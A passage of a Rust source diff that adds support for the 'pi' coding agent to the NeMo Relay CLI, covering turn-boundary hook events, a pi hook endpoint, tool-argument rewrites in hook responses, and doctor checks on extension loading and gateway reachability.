re-entry. +/// pi's `turn_index` is deliberately absent: the gateway assigns its own +/// `turn_index` to the turn scope and promoting pi's would collide with it. +const PI_ATTRIBUTION_KEYS: &[&str] = &["attempt_index", "turn_seq"]; /// Claude Code reports its native tool identifier as `tool_use_id`, so it uses /// a tool path set that prefers that key. Every other hook field matches the @@ -367,6 +454,15 @@ const CODEX_TOOL_PATHS: &ToolPathSet = &ToolPathSet { result: TOOL_RESULT_PATHS, status: TOOL_STATUS_PATHS, }; +/// pi sends its native `tool_call` arguments under `input`, which the shared +/// argument precedence already covers ahead of `arguments`/`args`. +const PI_TOOL_PATHS: &ToolPathSet = &ToolPathSet { + call_id: TOOL_CALL_ID_PATHS, + name: TOOL_NAME_PATHS, + arguments: TOOL_ARGUMENT_PATHS, + result: TOOL_RESULT_PATHS, + status: TOOL_STATUS_PATHS, +}; fn agent_session_id( headers: &HeaderMap, @@ -680,9 +776,10 @@ fn event_detail_result(payload: &Value, normalized_event: &str) -> Option /// Classify a raw hook event into one or more normalized events. /// /// Most hook events produce a single normalized event from `classify_primary`. -/// The exception is `Stop` for Claude Code and Codex: it emits both the -/// existing `LlmHint` and a `TurnEnded` so the session manager can snapshot ATIF -/// without closing the agent scope. +/// The exception is a turn-end hook -- `Stop` for Claude Code and Codex, +/// `turn_end` for pi -- which emits both the primary event and a `TurnEnded` so +/// the session manager can close the turn and snapshot ATIF without closing the +/// agent scope. /// /// If the primary event is already terminal, the snapshot is skipped to avoid /// double-writing and accidentally recreating an empty session. @@ -727,7 +824,12 @@ fn classify( return vec![NormalizedEvent::HookMark(event)]; } let primary = classify_primary(payload, headers, extractor, rules, &fallback_session_id); - if normalized == "stop" && !primary.is_terminal() { + if rules + .turn_end + .iter() + .any(|name| normalize_name(name) == normalized) + && !primary.is_terminal() + { return vec![ primary, NormalizedEvent::TurnEnded(common_session_event_with_fallback( @@ -861,6 +963,30 @@ fn classify_primary( extractor, fallback_session_id, )) + } else if rules + .turn_start + .iter() + .any(|name| normalize_name(name) == normalized) + { + NormalizedEvent::TurnStarted(common_session_event_with_fallback( + payload, + headers, + rules.kind, + extractor, + fallback_session_id, + )) + } else if rules + .compaction + .iter() + .any(|name| normalize_name(name) == normalized) + { + NormalizedEvent::Compaction(common_session_event_with_fallback( + payload, + headers, + rules.kind, + extractor, + fallback_session_id, + )) } else { match normalized.as_str() { "afteragentresponse" | "agentresponse" | "assistantresponse" | "afteragentthought" diff --git a/crates/cli/src/agents/shared/alignment.rs b/crates/cli/src/agents/shared/alignment.rs index 94e03af54..bb94223f5 100644 --- a/crates/cli/src/agents/shared/alignment.rs +++ b/crates/cli/src/agents/shared/alignment.rs @@ -684,6 +684,12 @@ pub(crate) fn route_event_through_alias( }), Some(child_session_id), ), + // Unlike `TurnEnded`, a turn start is never reused as a subagent-completion signal, so it + // reports no child session id -- there is nothing for the parent to close on it. + NormalizedEvent::TurnStarted(mut event) => { + route_session_event(&mut event, &alias, metadata); + (NormalizedEvent::TurnStarted(event), None) + } NormalizedEvent::TurnEnded(mut event) => { route_session_event(&mut event, &alias, metadata); (NormalizedEvent::TurnEnded(event), Some(child_session_id)) diff --git a/crates/cli/src/commands/configure/model.rs b/crates/cli/src/commands/configure/model.rs index 396d72e1e..f62634b7d 100644 --- a/crates/cli/src/commands/configure/model.rs +++ b/crates/cli/src/commands/configure/model.rs @@ -280,14 +280,16 @@ pub(crate) fn read_agents_from_doc(doc: &DocumentMut) -> Vec { let Some(table) = doc.get("agents").and_then(|i| i.as_table()) else { return Vec::new(); }; + // Driven from `CodingAgent::ALL` rather than a hand-written match: an agent missing + // from this list is not just unreported, it is *deleted*. An unscoped wizard run + // rewrites the whole `[agents]` table from what it read here, so a key it cannot + // parse silently disappears from the user's configuration. let mut found = Vec::new(); for (key, _) in table.iter() { - let agent = match key { - "claude" => Some(CodingAgent::ClaudeCode), - "codex" => Some(CodingAgent::Codex), - _ => None, - }; - if let Some(agent) = agent { + if let Some(agent) = CodingAgent::ALL + .into_iter() + .find(|agent| agent_key_and_command(*agent).0 == key) + { found.push(agent); } } diff --git a/crates/cli/src/commands/configure/wizard/prompt.rs b/crates/cli/src/commands/configure/wizard/prompt.rs index 0d9f8ff62..10379d896 100644 --- a/crates/cli/src/commands/configure/wizard/prompt.rs +++ b/crates/cli/src/commands/configure/wizard/prompt.rs @@ -197,7 +197,10 @@ fn ask_agents( detected: &[CodingAgent], configured: &[CodingAgent], ) -> Result, CliError> { - let all_supported = [CodingAgent::ClaudeCode, CodingAgent::Codex]; + // Every supported agent, not a hand-written pair. Saving an unscoped result replaces + // the whole `[agents]` table, so an agent missing from this list is removed from the + // user's config by a wizard that never offered it. + let all_supported = CodingAgent::ALL; let labels: Vec = all_supported .iter() .map(|a| { diff --git a/crates/cli/src/commands/root.rs b/crates/cli/src/commands/root.rs index 79e9ffaf4..8692f9158 100644 --- a/crates/cli/src/commands/root.rs +++ b/crates/cli/src/commands/root.rs @@ -21,6 +21,7 @@ pub(crate) enum AgentArg { #[value(name = "claude", alias = "claude-code")] Claude, Codex, + Pi, } impl From for CodingAgent { @@ -28,6 +29,7 @@ impl From for CodingAgent { match value { AgentArg::Claude => Self::ClaudeCode, AgentArg::Codex => Self::Codex, + AgentArg::Pi => Self::Pi, } } } diff --git a/crates/cli/src/configuration/mod.rs b/crates/cli/src/configuration/mod.rs index 44f7ceff1..f1ed9f8da 100644 --- a/crates/cli/src/configuration/mod.rs +++ b/crates/cli/src/configuration/mod.rs @@ -81,6 +81,7 @@ struct FileAgentsConfig { // `CodingAgent` enum kebab spelling. Same convention as the bare-agent shortcut in Phase 2. claude: Option, codex: Option, + pi: Option, } #[derive(Debug, Clone, Default, Deserialize)] @@ -1569,6 +1570,9 @@ fn apply_file_agents_config(agents: &mut AgentConfigs, file_agents: Option, + probe_mode: DoctorProbeMode, resolved: &ResolvedConfig, ) -> Vec { let mut out = Vec::with_capacity(CodingAgent::ALL.len()); @@ -424,7 +425,7 @@ async fn collect_agents( if target_agent.is_some_and(|target| target != agent) { continue; } - out.push(collect_agent(agent, target_agent == Some(agent), resolved).await); + out.push(collect_agent(agent, target_agent == Some(agent), probe_mode, resolved).await); } out } @@ -432,6 +433,7 @@ async fn collect_agents( async fn collect_agent( agent: CodingAgent, target_requested: bool, + probe_mode: DoctorProbeMode, resolved: &ResolvedConfig, ) -> AgentInfo { let configured = agent_configured(agent, &resolved.agents); @@ -462,6 +464,9 @@ async fn collect_agent( &mut status, &mut details, ); + let checks = + agent_preflight_checks(agent, probe_mode, configured || target_requested, resolved).await; + status = fold_preflight_checks(status, &checks); AgentInfo { name: agent.as_arg(), status, @@ -470,9 +475,253 @@ async fn collect_agent( path, version, annotation: details.join("; "), + checks, + } +} + +/// Preflight checks that depend on how the *agent* is set up rather than on +/// anything NeMo Relay wrote. +/// +/// Only pi has any. Codex reads a generated hook config and Claude Code reads a +/// settings file, both written by `nemo-relay install`, so their setup is +/// already fully described by `hook_status`. pi's hooks live in an extension the +/// user installs wherever they like, and pi's own trust rules decide whether it +/// loads -- neither of which is visible from anything NeMo Relay owns. +async fn agent_preflight_checks( + agent: CodingAgent, + probe_mode: DoctorProbeMode, + relevant: bool, + resolved: &ResolvedConfig, +) -> Vec { + if agent != CodingAgent::Pi { + return Vec::new(); + } + let cwd = std::env::current_dir().unwrap_or_else(|_| PathBuf::from(".")); + let mut checks = vec![pi_extension_trust_check(&cwd)]; + // The filesystem check is free and always worth running -- a stray project-scoped + // extension is worth knowing about whether or not pi is set up yet. The network probe + // is not: a bare `nemo-relay doctor` on a machine that does not use pi would spend the + // timeout budget dialling a gateway nobody asked about, and warn about it. + if relevant { + checks.push(pi_gateway_reachability_check(probe_mode, resolved).await); + } + checks +} + +/// Warn when an extension sits somewhere pi will silently ignore. +/// +/// The danger is specific: pi adds project-scoped extensions to its candidate +/// set only for a trusted project, and its non-interactive modes never prompt +/// for trust. The skip is a bare conditional rather than an error path, so pi +/// does not treat it as a failure and nothing surfaces it -- and the extension +/// cannot surface it either, because it is not running. This check is the only +/// place a user finds out before wondering why NeMo Relay "does nothing". +fn pi_extension_trust_check(cwd: &Path) -> Check { + const NAME: &str = "pi extension load path"; + let sites = crate::agents::pi::doctor::relay_extension_sites(cwd); + let project_sites: Vec<&crate::agents::pi::doctor::ExtensionSite> = sites + .iter() + .filter(|site| site.scope == crate::agents::pi::doctor::ExtensionScope::Project) + .collect(); + + // Ahead of the project warning, because a project copy must not hide it: the two ungated + // copies load whether or not the project is trusted, and that is the louder problem. + // Asked of the copy the launcher would choose, not of whichever site sorts first: a copy pi's + // settings switch off is not one of the two that load, and naming it here would report a + // duplicate that does not exist. + if let Some(launched) = crate::agents::pi::doctor::launchable_extension_path(cwd) + && let Some(duplicate) = + crate::agents::pi::doctor::conflicting_extension_site(cwd, &launched) + { + return Check { + name: NAME, + status: Status::Warn, + details: format!( + "two copies would load: {} and {}. pi de-duplicates by path, not by package, \ + so both register hooks and every event is reported twice -- each turn is \ + closed as superseded by its own duplicate, and the inline-shell gate decides \ + one command twice. Keep one copy", + launched.display(), + duplicate.display() + ), + }; + } + + if let Some(project) = project_sites.first() { + return Check { + name: NAME, + status: Status::Warn, + details: format!( + "{} is project-scoped, so pi loads it only when the project is trusted, and \ + `-p`, `--mode json` and `--mode rpc` never prompt -- it is silently skipped \ + there, with nothing reporting it. Install at user scope \ + (`~/.pi/agent/extensions/`, or `pi install` without `--local`), or set {} to \ + it. `nemo-relay run --agent pi` passes `-e`, which is never trust-gated, but it \ + resolves only those two routes and refuses a project-scoped copy for the same \ + reason this warns about one", + project.path.display(), + crate::agents::pi::launch::PI_EXTENSION_PATH_ENV + ), + }; + } + + use crate::agents::pi::doctor::SettingsFilter; + match sites.first() { + // Installed, and switched off in pi's own settings. Same silent drop as the trust gate, + // from the other direction -- and `-e` ignores those filters, so the launcher still + // instruments a session the user's own `pi` runs are missing. + Some(site) if site.filter == SettingsFilter::Excluded => Check { + name: NAME, + status: Status::Warn, + details: format!( + "{} is recorded in pi's settings with its extensions filtered off, so pi does not \ + load it -- remove the `extensions` filter, or the `autoload: false`, on that \ + entry. `nemo-relay run --agent pi` is unaffected: it passes `-e`, which applies \ + no settings filter", + site.path.display() + ), + }, + // Installed, with a filter this check cannot evaluate: pi matches glob patterns with + // `minimatch`, which is not reimplemented here. Reporting Pass would claim pi loads it, + // and that is the claim this whole check exists to stop being made on no evidence. + Some(site) if site.filter == SettingsFilter::Undecided => Check { + name: NAME, + status: Status::Warn, + details: format!( + "{} is recorded in pi's settings with a glob filter on its extensions, and \ + whether pi loads it cannot be decided from here. Check that filter if NeMo \ + Relay appears to do nothing. `nemo-relay run --agent pi` is unaffected: it \ + passes `-e`, which applies no settings filter", + site.path.display() + ), + }, + Some(site) => Check { + name: NAME, + status: Status::Pass, + details: format!("{} ({})", site.path.display(), site.scope.describe()), + }, + None => Check { + name: NAME, + status: Status::Info, + details: format!( + "the NeMo Relay pi extension was not found; set {} or install it with \ + `pi install `", + crate::agents::pi::launch::PI_EXTENSION_PATH_ENV + ), + }, } } +/// Probe the gateway the pi extension will post to. +/// +/// Deliberately a warning rather than a failure when it does not answer: the +/// gateway is a separate process a user normally starts alongside pi, so doctor +/// running before it is the common case rather than a broken one. What makes +/// this worth probing at all is that the extension defaults to **failing open**, +/// so an unreachable gateway does not stop pi -- it silently stops enforcing. +async fn pi_gateway_reachability_check( + probe_mode: DoctorProbeMode, + resolved: &ResolvedConfig, +) -> Check { + const NAME: &str = "pi gateway reachability"; + let url = crate::agents::pi::doctor::gateway_url(Some(resolved.gateway.bind)); + if probe_mode.is_offline() { + return Check { + name: NAME, + status: Status::Info, + details: format!("{url} (live reachability probe skipped (--offline))"), + }; + } + // The shared probe classifies rather than just connecting, which is the difference + // between "your gateway is down" and "something else owns that port" -- two problems + // with nothing in common. It is blocking and loopback-only, hence the offload; a pi + // gateway pointed somewhere else falls back to a plain reachability check below. + let probed = if is_loopback(&url) { + let probe_url = url.clone(); + timeout( + NETWORK_TIMEOUT, + tokio::task::spawn_blocking(move || crate::gateway::client::probe(&probe_url, None)), + ) + .await + .ok() + .and_then(Result::ok) + } else { + None + }; + + let unreachable = |detail: &str| Check { + name: NAME, + status: Status::Warn, + details: format!( + "{url} {detail}; start the gateway before pi, or every hook will fault -- and \ + because the extension fails open by default, pi keeps running with no policy applied" + ), + }; + + match probed { + Some(crate::gateway::client::RelayHealth::Compatible) => Check { + name: NAME, + status: Status::Pass, + details: format!("{url} is running a compatible NeMo Relay gateway"), + }, + Some(crate::gateway::client::RelayHealth::Incompatible) => Check { + name: NAME, + status: Status::Warn, + details: format!( + "{url} is a NeMo Relay gateway of an incompatible version; the pi extension \ + posts hooks here" + ), + }, + Some(crate::gateway::client::RelayHealth::Foreign) => Check { + name: NAME, + status: Status::Warn, + details: format!( + "{url} is answering, but it is not a NeMo Relay gateway -- something else owns \ + that port, so every hook goes somewhere unexpected" + ), + }, + Some(crate::gateway::client::RelayHealth::Unavailable) => unreachable("is not answering"), + // Non-loopback, or the blocking probe did not finish in budget. + None => match reqwest::Client::builder() + .timeout(NETWORK_TIMEOUT) + .build() + .ok() + { + Some(client) => match client.get(format!("{url}/healthz")).send().await { + Ok(response) if response.status().is_success() => Check { + name: NAME, + status: Status::Pass, + details: format!("{url} answered /healthz"), + }, + Ok(response) => Check { + name: NAME, + status: Status::Warn, + details: format!( + "{url} answered /healthz with HTTP {}; the pi extension posts hooks here", + response.status().as_u16() + ), + }, + Err(_) => unreachable("did not answer /healthz"), + }, + None => unreachable("could not be probed"), + }, + } +} + +/// Whether a URL names the local machine, which is all the shared probe supports. +fn is_loopback(url: &str) -> bool { + reqwest::Url::parse(url) + .ok() + .and_then(|parsed| parsed.host_str().map(str::to_owned)) + .is_some_and(|host| { + host == "localhost" + || host + .trim_matches(['[', ']']) + .parse::() + .is_ok_and(|ip| ip.is_loopback()) + }) +} + fn agent_details( configured: bool, target_requested: bool, @@ -504,14 +753,30 @@ fn apply_agent_version_status( status: &mut Status, details: &mut Vec, ) { + // Three outcomes, not two. A host whose minor releases can move a hook shape has a + // band above the floor that is untested rather than supported, and reporting it as a + // plain pass is what let a newer pi look verified. + let mut unverified = None; let problem = match version { - Some(version) => agent.validate_version_output(version).err(), + Some(version) => match agent.validate_version_output(version) { + Ok(parsed) => { + unverified = agent.unverified_version(&parsed); + None + } + Err(problem) => Some(problem), + }, None if executable_found => Some(format!( "could not determine version; NeMo Relay requires {}", agent.version_requirement() )), None => None, }; + if let Some(unverified) = unverified { + // Warn even when the agent is not the requested target: an untested host is a + // property of the machine, not of what the user asked about. + *status = combine_status(*status, Status::Warn, true); + details.push(unverified); + } if let Some(problem) = problem { *status = combine_status( *status, @@ -556,6 +821,25 @@ fn agent_command_status(path: Option<&Path>, configured: bool, target_requested: } } +/// Fold preflight findings into the agent status, configured or not. +/// +/// The readiness gate `combine_status` applies elsewhere asks whether the user has +/// told Relay to use this agent, which is the right question for "the hook config +/// is missing" -- nobody wants a bare `doctor` complaining about an agent they do +/// not run. It is the wrong question here, because a preflight finding is +/// *evidence* rather than readiness: every warning branch already requires the +/// extension to be installed on this machine, and a machine without one reports +/// `Info`, which never folds either way. +/// +/// Gating on `configured` meant `agents --json` reported `status: "pass"` for a pi +/// whose only install is project-scoped -- the exact silent skip the check exists +/// to catch -- while its own nested check said `warn`. +fn fold_preflight_checks(status: Status, checks: &[Check]) -> Status { + checks.iter().fold(status, |status, check| { + combine_status(status, check.status, true) + }) +} + fn combine_status(base: Status, hook: Status, readiness_required: bool) -> Status { if matches!(base, Status::Fail) || matches!(hook, Status::Fail) { return Status::Fail; diff --git a/crates/cli/src/diagnostics/model.rs b/crates/cli/src/diagnostics/model.rs index 6ca5ca3b2..397f15a00 100644 --- a/crates/cli/src/diagnostics/model.rs +++ b/crates/cli/src/diagnostics/model.rs @@ -154,4 +154,13 @@ pub(crate) struct AgentInfo { pub path: Option, pub version: Option, pub annotation: String, + /// Agent-specific preflight checks, folded into `status` above. + /// + /// Empty for every agent whose setup NeMo Relay writes itself, because + /// `annotation` already says everything there is to say about it. pi is the + /// exception: its hooks live in an extension the *user* installs, so where + /// that extension sits decides whether pi loads it at all, and that is a + /// finding with its own status rather than a sentence in a summary. + #[serde(skip_serializing_if = "Vec::is_empty")] + pub checks: Vec, } diff --git a/crates/cli/src/diagnostics/render.rs b/crates/cli/src/diagnostics/render.rs index 3844d7360..b33f1f6a1 100644 --- a/crates/cli/src/diagnostics/render.rs +++ b/crates/cli/src/diagnostics/render.rs @@ -206,6 +206,14 @@ pub(super) fn format_human_agents(out: &mut String, report: &DoctorReport) { )); } } + for check in &agent.checks { + out.push_str(&format!( + " {} {}: {}\n", + format_status(check.status), + check.name, + check.details + )); + } } out.push('\n'); } @@ -295,7 +303,10 @@ pub(crate) fn format_json(report: &DoctorReport) -> Result { /// the same JSON schema as `doctor.agents` for consistency. pub(crate) async fn agents_report() -> Result, CliError> { let resolved = resolve_server_config(&GatewayOverrides::default())?; - Ok(collect_agents(None, &resolved).await) + // Offline: `nemo-relay agents` is a fast local listing, not a diagnostic run. `doctor` + // is where a user asks for live probes, and it is the command that has `--offline` to + // turn them back off. + Ok(collect_agents(None, DoctorProbeMode::Offline, &resolved).await) } /// Renders the agents listing in human form. diff --git a/crates/cli/src/events/mod.rs b/crates/cli/src/events/mod.rs index f172164ab..802617711 100644 --- a/crates/cli/src/events/mod.rs +++ b/crates/cli/src/events/mod.rs @@ -9,6 +9,7 @@ pub(crate) mod json_path; pub(crate) enum AgentKind { Codex, ClaudeCode, + Pi, Gateway, } @@ -19,15 +20,49 @@ impl AgentKind { match self { Self::Codex => "codex", Self::ClaudeCode => "claude-code", + Self::Pi => "pi", Self::Gateway => "gateway", } } + + // Whether this harness reports the *opening* of a conversation turn, not just its close. + // + // Codex and Claude Code only signal a turn boundary on `Stop`, so the gateway has to open + // turns lazily -- the first tool call, LLM call, or mark after a close starts the next one. + // pi emits a native `turn_start`, which is classified into `NormalizedEvent::TurnStarted` + // and opens the scope at pi's own boundary. For those harnesses a mark arriving *between* + // turns must not manufacture one: doing so left an empty trailing turn holding nothing but + // the `agent_end`/`agent_settled` marks at the end of every run. + // + // Kept next to `as_str` rather than on the agent descriptor because the session manager + // works in terms of `AgentKind`; the matching hook names live in each adapter's + // `ClassificationRules::turn_start`. + pub(crate) const fn has_explicit_turn_start(self) -> bool { + matches!(self, Self::Pi) + } + + // Whether this harness can execute arguments the gateway rewrote. + // + // Only pi: its `tool_call` hook documents in-place mutation of `input` as the mechanism, and + // the extension applies whatever the hook response carries. Codex and Claude Code have no + // equivalent return path, so running the request-intercept chain for them would record + // arguments on the tool span that never executed -- worse than not running it, because the + // trace would then disagree with reality. + pub(crate) const fn applies_tool_argument_transforms(self) -> bool { + matches!(self, Self::Pi) + } } #[derive(Debug, Clone, PartialEq)] pub(crate) enum NormalizedEvent { AgentStarted(SessionEvent), AgentEnded(SessionEvent), + /// Conversation-turn boundary that opens the turn scope at the harness's own signal. + /// + /// Only emitted for harnesses that report one (pi's `turn_start`). Without it the gateway + /// opens turns lazily on the first tool, LLM, or mark event, which puts the boundary + /// wherever traffic happens to arrive rather than where the harness says the turn begins. + TurnStarted(SessionEvent), /// Conversation-turn boundary that the gateway uses to snapshot ATIF without closing the /// agent scope. Emitted alongside `LlmHint` for `Stop` hooks (Claude/Codex). /// Required for Codex transparent runs because Codex has no reliable `SessionEnd`-equivalent @@ -58,6 +93,7 @@ impl NormalizedEvent { match self { Self::AgentStarted(event) | Self::AgentEnded(event) + | Self::TurnStarted(event) | Self::TurnEnded(event) | Self::PromptSubmitted(event) | Self::Compaction(event) @@ -70,7 +106,8 @@ impl NormalizedEvent { } pub(crate) fn is_terminal(&self) -> bool { - // TurnEnded is intentionally NOT terminal — the agent scope stays open across turns. + // TurnStarted/TurnEnded are intentionally NOT terminal — the agent scope stays open + // across turns. matches!( self, Self::AgentEnded(_) | Self::SubagentEnded(_) | Self::ToolEnded(_) diff --git a/crates/cli/src/process/launcher.rs b/crates/cli/src/process/launcher.rs index 4e98ff1c7..bddcbbb37 100644 --- a/crates/cli/src/process/launcher.rs +++ b/crates/cli/src/process/launcher.rs @@ -327,10 +327,21 @@ async fn validate_agent_version(agent: CodingAgent, probe: &[String]) -> Result< ))); } let stdout = String::from_utf8_lossy(&output.stdout); - agent + let version = agent .validate_version_output(&stdout) - .map(|_| ()) - .map_err(CliError::Launch) + .map_err(CliError::Launch)?; + // Logged rather than returned: this is not a reason to refuse the launch, and there is no + // note channel here -- `PreparedAgentLaunch` is already built by the time the probe runs. + if let Some(unverified) = agent.unverified_version(&version) { + log::warn!( + target: "nemo_relay.cli", + event = "agent_version_unverified", + agent = agent.as_arg(), + version = version.to_string().as_str(); + "{unverified}" + ); + } + Ok(()) } // Splits a configured command string into argv words for run mode. This intentionally uses simple diff --git a/crates/cli/src/server/mod.rs b/crates/cli/src/server/mod.rs index 157a0352d..066044917 100644 --- a/crates/cli/src/server/mod.rs +++ b/crates/cli/src/server/mod.rs @@ -41,7 +41,7 @@ use subtle::ConstantTimeEq; use tokio::net::TcpListener; use tokio::sync::oneshot; -use crate::agents::shared::adapters::{claude_code, codex}; +use crate::agents::shared::adapters::{claude_code, codex, pi}; use crate::configuration::{ BOOTSTRAP_CLIENT_TOKEN_HEADER, BootstrapChallengeKey, GatewayConfig, ManagedBootstrapIdentity, }; @@ -586,6 +586,7 @@ fn router_with_state(state: AppState) -> Router { .route("/bootstrap/shutdown", post(shutdown_bootstrap_sidecar)) .route("/hooks/codex", post(codex_hook)) .route("/hooks/claude-code", post(claude_code_hook)) + .route("/hooks/pi", post(pi_hook)) .route("/responses", post(gateway::passthrough)) .route("/chat/completions", post(gateway::passthrough)) .route("/models", get(gateway::models)) @@ -1207,6 +1208,29 @@ async fn claude_code_hook( Ok(Json(outcome.response)) } +// Handles pi extension hooks. pi has no native hook-config file, so these arrive from a NeMo +// Relay-authored extension rather than from pi itself. Events are committed before the response +// so a conditional-execution guardrail rejection surfaces as HTTP 403 and the extension can turn +// it into pi's `{block, reason}` before the tool runs. +async fn pi_hook( + State(state): State, + headers: HeaderMap, + payload: Result, JsonRejection>, +) -> Result, CliError> { + state.touch(); + let Json(payload) = payload.map_err(hook_payload_rejection)?; + let outcome = pi::adapt(payload, &headers); + let effects = state + .sessions + .apply_events(&headers, outcome.events) + .await?; + // pi is the one agent whose hook response can carry a rewritten payload back: its `tool_call` + // hook documents in-place mutation of `input`, so the extension can apply what a request + // intercept produced. Absent a rewrite the body stays `{}`, which is what an allow has always + // been, so an older extension keeps working unchanged. + Ok(Json(pi::response_with_effects(outcome.response, &effects))) +} + fn hook_payload_rejection(rejection: JsonRejection) -> CliError { if rejection.status() == axum::http::StatusCode::PAYLOAD_TOO_LARGE { CliError::PayloadTooLarge(rejection.to_string()) diff --git a/crates/cli/src/sessions/correlation.rs b/crates/cli/src/sessions/correlation.rs index 495c1a6aa..85d2e41d8 100644 --- a/crates/cli/src/sessions/correlation.rs +++ b/crates/cli/src/sessions/correlation.rs @@ -298,6 +298,7 @@ pub(super) fn event_agent_kind(event: &NormalizedEvent) -> AgentKind { match event { NormalizedEvent::AgentStarted(event) | NormalizedEvent::AgentEnded(event) + | NormalizedEvent::TurnStarted(event) | NormalizedEvent::TurnEnded(event) | NormalizedEvent::PromptSubmitted(event) | NormalizedEvent::Compaction(event) diff --git a/crates/cli/src/sessions/idle.rs b/crates/cli/src/sessions/idle.rs index 7833ef124..76d1aef90 100644 --- a/crates/cli/src/sessions/idle.rs +++ b/crates/cli/src/sessions/idle.rs @@ -90,7 +90,9 @@ async fn close_idle_turns(idle_sessions: Vec<(String, Session)>, reason: &str) - for (session_id, mut session) in idle_sessions { let stack = session.scope_stack.clone(); match TASK_SCOPE_STACK - .scope(stack, async { session.close_turn_for_reason(reason).await }) + .scope(stack, async { + session.close_idle_scopes_for_reason(reason).await + }) .await { Ok((subagent_ids, subscriber_delivery)) => { diff --git a/crates/cli/src/sessions/mod.rs b/crates/cli/src/sessions/mod.rs index 1c92e4435..f491a1360 100644 --- a/crates/cli/src/sessions/mod.rs +++ b/crates/cli/src/sessions/mod.rs @@ -18,7 +18,7 @@ use nemo_relay::api::scope::{ }; use nemo_relay::api::tool::{ ToolCallEndParams, ToolCallParams, ToolHandle, tool_call, tool_call_end, - tool_conditional_execution, + tool_conditional_execution, tool_request_intercepts, }; use serde_json::{Map, Value, json}; use tokio::sync::Mutex; @@ -60,6 +60,27 @@ const ROUTING_IDENTITY_HEADERS: &[&str] = &[ "x-nemo-relay-source", ]; +/// Arguments a request intercept rewrote, on their way back to the agent that will execute them. +/// +/// The gateway cannot apply a transform itself -- it never runs the tool -- so the rewrite has to +/// travel back in the hook response and be applied by the extension. One pi hook post carries at +/// most one `tool_call`, so a single value is enough; `tool_call_id` lets the receiver assert the +/// response belongs to the call it just sent. +#[derive(Debug, Clone, PartialEq)] +pub(crate) struct ToolArgumentTransform { + pub(crate) tool_call_id: String, + pub(crate) arguments: Value, +} + +/// What one batch of hook events produced that the HTTP response still has to carry. +/// +/// Empty for every agent except pi, and empty for pi unless a request intercept actually changed +/// the arguments. +#[derive(Debug, Clone, Default, PartialEq)] +pub(crate) struct HookEffects { + pub(crate) tool_argument_transform: Option, +} + #[derive(Clone)] pub(crate) struct SessionManager { inner: Arc>>, @@ -153,6 +174,9 @@ fn insert_routing_identity_header(headers: &mut Map, name: &str, pub(super) struct Session { agent_kind: AgentKind, session_id: String, + /// Set by `start_tool` when a request intercept rewrote the arguments; taken by the routing + /// layer once the event batch has been applied, so the hook response can carry it back. + tool_argument_transform: Option, scope_stack: ScopeStackHandle, session_started: bool, session_metadata: Value, @@ -339,7 +363,8 @@ impl SessionManager { &self, headers: &HeaderMap, events: Vec, - ) -> Result<(), CliError> { + ) -> Result { + let mut effects = HookEffects::default(); let mut subscriber_deliveries = Vec::new(); let mut alignment_state = self.alignment.lock().await; let mut sessions = self.inner.lock().await; @@ -363,18 +388,22 @@ impl SessionManager { continue; }; let event_kind = event_agent_kind(&event); - let (should_remove_session, subscriber_delivery) = apply_event_to_session( - &mut sessions, - &session_id, - event, - event_kind, - config.clone(), - is_agent_started, - ) - .await?; + let (should_remove_session, subscriber_delivery, tool_argument_transform) = + apply_event_to_session( + &mut sessions, + &session_id, + event, + event_kind, + config.clone(), + is_agent_started, + ) + .await?; if let Some(subscriber_delivery) = subscriber_delivery { subscriber_deliveries.push(subscriber_delivery); } + if tool_argument_transform.is_some() { + effects.tool_argument_transform = tool_argument_transform; + } if is_agent_started { // A just-opened parent may unlock one or more child SessionStart hooks that arrived // earlier in this batch or an earlier request. @@ -395,7 +424,7 @@ impl SessionManager { for subscriber_delivery in subscriber_deliveries { subscriber_delivery.wait().await?; } - Ok(()) + Ok(effects) } /// Legacy manual-lifecycle entry point retained for tests that drive correlation behavior @@ -702,6 +731,7 @@ impl Session { Self { agent_kind, session_id, + tool_argument_transform: None, scope_stack: create_scope_stack(), session_started: false, session_metadata: Value::Null, @@ -769,7 +799,7 @@ impl Session { } fn is_idle_for(&self, now: Instant, timeout: Duration) -> bool { - self.turn_scope.is_some() + (self.turn_scope.is_some() || self.holds_only_an_unannounced_agent_scope()) && self.active_gateway_calls == 0 && self.llms.is_empty() && self.tools.is_empty() @@ -796,6 +826,7 @@ impl Session { match event { NormalizedEvent::AgentStarted(event) => self.start_agent(event).map(|()| None), NormalizedEvent::AgentEnded(event) => self.end_agent(event).await, + NormalizedEvent::TurnStarted(event) => self.start_turn_boundary(event).await, NormalizedEvent::TurnEnded(event) => self.end_turn(event).await, NormalizedEvent::SubagentStarted(event) => { self.start_subagent(event).await.map(|()| None) @@ -1034,6 +1065,27 @@ impl Session { Ok(subscriber_delivery) } + // Opens a turn at the harness's own `turn_start`, for harnesses that report one. + // + // Distinct from `start_turn`, which handles a *prompt* and has to tolerate a prompt arriving + // while a turn is open. A turn-start hook is unambiguous: whatever is still open belongs to + // the previous turn and is closed first, so a dropped or missing `turn_end` degrades into one + // superseded turn rather than merging two turns into one. + async fn start_turn_boundary( + &mut self, + event: SessionEvent, + ) -> Result, CliError> { + let mut subscriber_delivery = None; + if self.turn_scope.is_some() { + let (_, delivery) = self + .close_turn_for_reason("superseded_by_next_turn") + .await?; + subscriber_delivery = delivery; + } + self.open_turn(event.metadata, event.payload, "turn_start")?; + Ok(subscriber_delivery) + } + // Lazily creates an implicit turn when gateway/tool/LLM activity arrives before a prompt hook. // This keeps direct gateway traffic and sparse hook streams bounded by the same lifecycle as // prompt-driven turns. @@ -1044,6 +1096,21 @@ impl Session { self.open_turn(event_metadata, Value::Null, "implicit") } + // Chooses the enclosing scope for a tool event that arrives with no turn open. + // + // Same reasoning as `mark`: a harness that reports its own turn start is telling the gateway + // where turns begin, so a tool event between turns is genuinely between turns, and opening one + // to hold it invents a turn the harness never reported. pi's inline-shell gate is what makes + // this reachable -- a user typing `!cmd` at an idle prompt is outside every turn, while pi's + // model-invoked tool calls always arrive inside one. Codex and Claude Code report no turn + // start, so they keep opening turns lazily and are unaffected. + fn ensure_tool_scope_started(&mut self, event_metadata: Value) -> Result<(), CliError> { + if self.agent_kind.has_explicit_turn_start() && self.turn_scope.is_none() { + return self.ensure_agent_started(event_metadata); + } + self.ensure_turn_started(event_metadata) + } + fn ensure_turn_started_for_gateway(&mut self, start: &LlmGatewayStart) -> Result<(), CliError> { if self.turn_scope.is_some() { return Ok(()); @@ -1198,13 +1265,50 @@ impl Session { } let (_, turn_delivery) = self.close_turn_for_reason("closed_by_agent_end").await?; self.clear_correlation_state(); - let agent_delivery = self.close_agent_scope(event.payload)?; + let agent_delivery = self.close_agent_scope(event.payload, Some(event.metadata))?; 